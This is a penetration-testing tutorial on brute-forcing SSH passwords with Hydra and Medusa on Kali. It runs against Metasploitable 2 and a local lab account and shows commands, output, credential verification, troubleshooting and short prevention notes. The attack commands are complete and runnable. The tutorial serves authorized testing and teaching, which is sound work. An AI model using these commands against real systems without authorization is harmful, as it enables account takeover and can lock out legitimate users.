SSH Brute Force Attack with Hydra and Medusa on Kali Linux

Deepak Prasad
Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package hydra 9.7-1
medusa 2.3-3
nmap 7.99+dfsg-1kali1
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003 — password attacks and online authentication testing
Privilege Normal user for Hydra, Medusa, and Nmap; sudo for package installs and local test user
Scope SSH brute-force testing with Hydra and Medusa on Kali: service checks, username and password lists, threads, resume, verification, troubleshooting, and short prevention notes. Does not cover offline hash cracking, SSH key theft, unauthenticated CVE exploits, or full FTP/web/database login walks.
Short on time?Beta Get the gist of this 12-minute read in seconds, then ask follow-up questions

An SSH brute force attack sends repeated username and password guesses to a live SSH service until a pair is accepted or the list ends. On Kali, Hydra and Medusa are the usual tools for that online test.

I ran these commands against Metasploitable 2 at 192.168.56.127, and against a local OpenSSH account when Hydra could not finish the legacy KEX handshake with Metasploitable’s OpenSSH 4.7p1.

IMPORTANT
Run login tests only on systems you own or are authorized to assess in your rules of engagement. Use an isolated lab network. High thread counts can lock accounts and trip detection.

What is an SSH brute force attack?

SSH brute force is an online password attack: the tester (or attacker) tries many username and password combinations against TCP/22 (or another SSH port) while the daemon answers each attempt. Success means a working credential on that host, not a break of SSH encryption.

That differs from offline cracking with John or hashcat. Offline work hashes candidates against stolen material and never hits the login port. Online SSH testing always talks to the live authentication service, so lockouts, rate limits, and protocol mismatches matter.

Common Kali tools for this job are Hydra and Medusa. Both take user and password lists, speak SSH, and report candidate pairs you still must verify by hand.

Approach Tools What you attack
Offline John, hashcat Stolen hashes or protected files
Online Hydra, Medusa Live SSH (and other auth services)

Check SSH before brute-force testing

Before you burn wordlists, confirm SSH is listening, note the version, and make sure password authentication is even on the table.

Set the Metasploitable target once:

bash
TARGET=192.168.56.127

Install or refresh the packages you need with apt:

bash
sudo apt update

Install Hydra, Medusa, and Nmap:

bash
sudo apt install -y hydra medusa nmap

Confirm SSH is open and note the version string:

bash
nmap -Pn -p 22 -sV "$TARGET"
output
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

Port 22 is open on a very old OpenSSH build. That version detail matters later when Hydra’s modern MAC list cannot negotiate with the server.

Create a tiny controlled wordlist pair. Full rockyou.txt is the wrong first move for a methodology check:

bash
mkdir -p /tmp/ssh-brute-lab && cd /tmp/ssh-brute-lab

Write three usernames:

bash
printf 'msfadmin\nroot\nadmin\n' > users.txt

Write three passwords, including the known Metasploitable pair:

bash
printf 'msfadmin\npassword\nroot\n' > pass.txt

Nine combinations are enough to prove the workflow. Build larger lists with a wordlist generator only after the service path works.

Also ask whether lockout or rate limiting exists on the engagement. Metasploitable is intentionally weak. Production SSH often bans noisy scanners after a handful of failures.


Brute force SSH with Hydra

Hydra is the main hands-on path on this page. The URL form for SSH looks like this:

text
hydra -L users.txt -P pass.txt ssh://HOST -t TASKS -f
Flag Meaning
-l / -L Single login / file of logins
-p / -P Single password / file of passwords
-t Parallel tasks per target (default 16)
-f Stop this target after the first valid pair
-V Show each attempt
-R Restore an aborted session
-W Wait seconds between connects per thread

Hydra supports FTP, HTTP, SMB, RDP, databases, and many other authentication protocols; use dedicated guides for those workflows. This page stays on SSH.

Single username and password list

Create a local OpenSSH account so Hydra can show a clean success on modern crypto (lab only):

bash
sudo useradd -m -s /bin/bash labssh

Set a known password for that account:

bash
echo 'labssh:LabPass123' | sudo chpasswd

Put the real password second so Hydra has to try at least one failure first:

bash
printf 'wrong\nLabPass123\npassword\n' > local_pass.txt

Attack one username with that password file:

bash
hydra -l labssh -P local_pass.txt ssh://127.0.0.1 -t 4 -f -V
output
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "LabPass123" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "password" - 3 of 3 [child 2] (0/0)
[22][ssh] host: 127.0.0.1   misc: (null)   login: labssh   password: LabPass123
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

Hydra reports the service, host, login, and password on the [22][ssh] line. Treat that as a candidate until you confirm it by hand.

Username and password lists

When you have several usernames, switch -l to -L:

bash
printf 'labssh\nroot\nadmin\n' > local_users.txt

Run both lists against localhost with four tasks and stop on the first hit:

bash
hydra -L local_users.txt -P local_pass.txt ssh://127.0.0.1 -t 4 -f -V
output
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9 login tries (l:3/p:3), ~3 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 9 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "LabPass123" - 2 of 9 [child 1] (0/0)
[22][ssh] host: 127.0.0.1   misc: (null)   login: labssh   password: LabPass123
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

Control threads and connection rate

Higher -t is not automatically better.

Too many parallel logins can:

  • Trigger account lockouts or fail2ban-style bans
  • Overwhelm a small service and inflate connection errors
  • Distort timing so you cannot tell refusal from lockout
  • Get your tester IP blocked mid-engagement

Start low on SSH (often 2–4 tasks), watch for errors, then raise only if RoE and monitoring allow it. Prefer -W waits and smaller lists over maxing the default of 16 tasks on a fragile target.

On this lab, -t 4 against local OpenSSH recovered labssh / LabPass123 without flooding. Against production-like hosts, ask about lockout thresholds before you scale.

Resume an interrupted Hydra attack

Long jobs should survive Ctrl+C. Hydra writes ./hydra.restore in the current directory when you interrupt cleanly.

Build a slightly longer password list so the job has room to pause mid-run:

bash
printf 'labssh\nroot\nadmin\n' > slow_users.txt

Put two wrong passwords ahead of the real one:

bash
printf 'wrong\nnopes\nLabPass123\n' > slow_pass.txt

Start a slow run (one task, one-second wait), then interrupt with Ctrl+C after the first attempt:

bash
hydra -L slow_users.txt -P slow_pass.txt ssh://127.0.0.1 -t 1 -W 1 -V
output
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 9 [child 0] (0/0)
The session file ./hydra.restore was written. Type "hydra -R" to resume session.

Resume from that directory without retyping the full command line:

bash
hydra -R -f
output
[INFORMATION] reading restore file ./hydra.restore
[DATA] attacking ssh://127.0.0.1:22/
[RE-ATTEMPT] target 127.0.0.1 - login "labssh" - pass "wrong" - 1 of 9 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "nopes" - 2 of 9 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "labssh" - pass "LabPass123" - 3 of 9 [child 0] (0/0)
[22][ssh] host: 127.0.0.1   misc: (null)   login: labssh   password: LabPass123
1 of 1 target successfully completed, 1 valid password found

Hydra continues from the saved point until it finds a valid pair or finishes the remaining space. Use -I only when you intentionally want to ignore an old restore file and start fresh.

Legacy SSH note: Hydra 9.7 vs Metasploitable 2

On Metasploitable’s OpenSSH 4.7p1, Hydra 9.7 fails the key exchange before any password is tried:

bash
hydra -L users.txt -P pass.txt ssh://"$TARGET" -t 4 -f
output
[DATA] attacking ssh://192.168.56.127:22/
[ERROR] could not connect to ssh://192.168.56.127:22 - kex error : no match for method mac algo client->server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512]

That is a protocol mismatch, not a wrong password. Medusa still works against this host in the next section. Keep the local OpenSSH example above as your primary Hydra success path on current Kali.


Verify the SSH credentials

Useful Hydra lines to watch:

Line Meaning
[DATA] … login tries How large the attempt space is
[ATTEMPT] … One try (with -V)
[22][ssh] … login: … password: Claimed valid pair
[ERROR] could not connect Network, refusal, or protocol failure
valid password found At least one pair accepted by the module

Confirm the pair outside Hydra. For the local account:

bash
sshpass -p LabPass123 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labssh@127.0.0.1 'whoami; id'
output
labssh
uid=1002(labssh) gid=1002(labssh) groups=1002(labssh)

The shell reports labssh. Tool output matched reality.

Modern OpenSSH clients may need algorithm overrides to reach legacy hosts like Metasploitable. If your own server rejects RSA client keys after a base-OS upgrade, fix that on the server — see sshd: ssh-rsa algorithm is disabled.

Metasploitable’s known weak account still works with a legacy OpenSSH client even when Hydra cannot negotiate:

bash
sshpass -p msfadmin ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -o MACs=+hmac-sha1 -o KexAlgorithms=+diffie-hellman-group1-sha1 \
  msfadmin@"$TARGET" 'id; hostname'
output
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
metasploitable

Always validate. Module bugs and misread banners produce “success” lines that are not shells you can use.


Brute force SSH with Medusa

Medusa is the secondary SSH path here: same controlled lists, different module syntax. Dump the modules shipped on Kali:

bash
medusa -d
output
Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
  + ftp.mod
  + http.mod
  + ssh.mod
  + vnc.mod
  + web-form.mod
  ...

Against Metasploitable, Medusa’s SSH module succeeds where Hydra’s KEX failed:

bash
medusa -h "$TARGET" -U users.txt -P pass.txt -M ssh -t 4 -f
output
ACCOUNT CHECK: [ssh] Host: 192.168.56.127 (1 of 1, 0 complete) User: msfadmin (1 of 3, 1 complete) Password: msfadmin (1 of 3 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.56.127 User: msfadmin Password: msfadmin [SUCCESS]

ACCOUNT FOUND with [SUCCESS] is Medusa’s valid-pair line. Confirm with the legacy SSH client shown earlier.

The same lists against local OpenSSH:

bash
medusa -h 127.0.0.1 -U local_users.txt -P local_pass.txt -M ssh -t 4 -f
output
ACCOUNT FOUND: [ssh] Host: 127.0.0.1 User: labssh Password: LabPass123 [SUCCESS]

Medusa flags for SSH:

Flag Role
-h / -H Host / host file
-u / -U User / user file
-p / -P Password / password file
-M Module name without .mod (ssh)
-t Concurrent logins
-f Stop host after first success
-Z Resume map after SIGINT (host/user level)

Hydra vs Medusa for SSH brute force

Topic Hydra Medusa
SSH syntax ssh://host -M ssh with -h
Username / password lists -l/-L, -p/-P -u/-U, -p/-P
Parallel attempts -t -t
Resume -R / hydra.restore -Z resume map
Legacy Metasploitable SSH (this lab) KEX / MAC failure on Hydra 9.7 Worked with msfadmin/msfadmin
Best reason to choose More docs and examples; primary workflow here Useful alternate when Hydra cannot negotiate

Neither tool is a universal speed winner. Protocol code, thread count, and target defenses dominate runtime. In this lab Medusa reached Metasploitable SSH; Hydra needed a modern OpenSSH listener for a clean SSH success.


SSH brute force troubleshooting

Symptom Likely cause Fix
Connection refused Wrong port or service down Confirm with nmap -p; example: ssh://127.0.0.1:2222 refused here while :22 worked
Hydra kex error / no matching MAC Client/server crypto mismatch (common on OpenSSH 4.7) Try Medusa, a legacy SSH client for manual login, or a modern lab SSHD
too many connection errors / children disabled Rate limit, MaxStartups, or prior flood Lower -t, add -W, pause, shrink the list
Password auth seems ignored PasswordAuthentication no or keys only Read sshd_config; switch to key testing or another vector
Account lockouts mid-run IDS, fail2ban, or directory lockout Stop; coordinate with the client; reduce rate
Unknown module / service name Typo or unsupported protocol hydra service list / medusa -d
“Success” but no real shell Module false positive or misread output Confirm with ssh / sshpass
Hydra finds a password that fails interactively Stale restore, wrong host, or misread output Clear restore (-I), re-verify host, confirm with ssh

Connection refused sample from this lab:

bash
hydra -l admin -p admin ssh://127.0.0.1:2222 -t 1
output
[DATA] attacking ssh://127.0.0.1:2222/
[ERROR] could not connect to ssh://127.0.0.1:2222 - Connection refused

How to prevent SSH brute force attacks

A valid pair means a weak or reused credential still works on that service. It does not mean “Hydra hacked SSH encryption.”

For defenders and report remediation notes:

  • Prefer SSH keys and disable password authentication where that fits the environment
  • Use MFA when the platform supports it
  • Rate-limit or lock out after repeated failures; alert on auth noise
  • Monitor failed authentications and unexpected source IPs
  • Enforce strong unique credentials (no shared msfadmin-style passwords)

This is not a full hardening guide. Point clients at their baseline SSH policy and monitoring stack after you show the weak login works.

Remove the local practice account when you finish:

bash
sudo userdel -r labssh

Summary

SSH brute force is online authentication testing against a live daemon. Confirm the port and version, use a small list, keep concurrency intentional, and verify every “success” outside the tool.

Hydra is the primary workflow here: single-user and dual-list attacks, thread control, and hydra -R resume against modern OpenSSH. Medusa is the useful alternate that still recovered msfadmin / msfadmin on Metasploitable when Hydra hit a legacy MAC mismatch.

Treat lockouts and rate limits as engagement risks, not speed bumps. When a pair is real, report the service, username, verification evidence, and remediation (keys, MFA, rate limiting, unique passwords). Offline hash work stays with John or hashcat, not Hydra.


References


Frequently Asked Questions

What is the difference between Hydra and John the Ripper?

Hydra sends login attempts to a live network service such as SSH. John recovers passwords from hashes or protected files offline. Use Hydra when you only have a listening auth service; use John when you already have hash material.

Why does Hydra fail against Metasploitable SSH with a kex or MAC error?

Modern Hydra clients often refuse the old MAC and key-exchange algorithms that OpenSSH 4.7 still offers. The service can still be password-guessable with Medusa or a legacy OpenSSH client. It is a negotiation problem, not proof that every password is wrong.

How many Hydra threads should I use for SSH?

Start low, often two to four tasks, unless the rules of engagement and lockout policy say otherwise. Raising -t without checking defenses can lock accounts and produce connection errors that hide real results.

How do I resume Hydra after Ctrl+C?

Run the job from a dedicated directory, interrupt cleanly, then run hydra -R in that same directory so it reads hydra.restore. Use -I only when you want to ignore a leftover restore file.

Should I use Hydra or Medusa for SSH?

Start with Hydra for most Kali labs and documentation coverage. Use Medusa when Hydra cannot negotiate with a legacy SSH stack, as on Metasploitable OpenSSH 4.7 in this article, or when you want a second independent check of the same lists.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Kennedy Muthii

Information Security Analyst

Accomplished professional proficient in Python, ethical hacking, Linux, cybersecurity, and OSINT. With a track record including winning a national cybersecurity contest, launching a startup in Kenya, and holding a degree in information science, he is currently engaged in cutting-edge research in ethical hacking.

  • Python (programming language)
  • Certified Ethical Hacker
  • White Hat (Computer Security)
  • Linux
  • Penetration Testing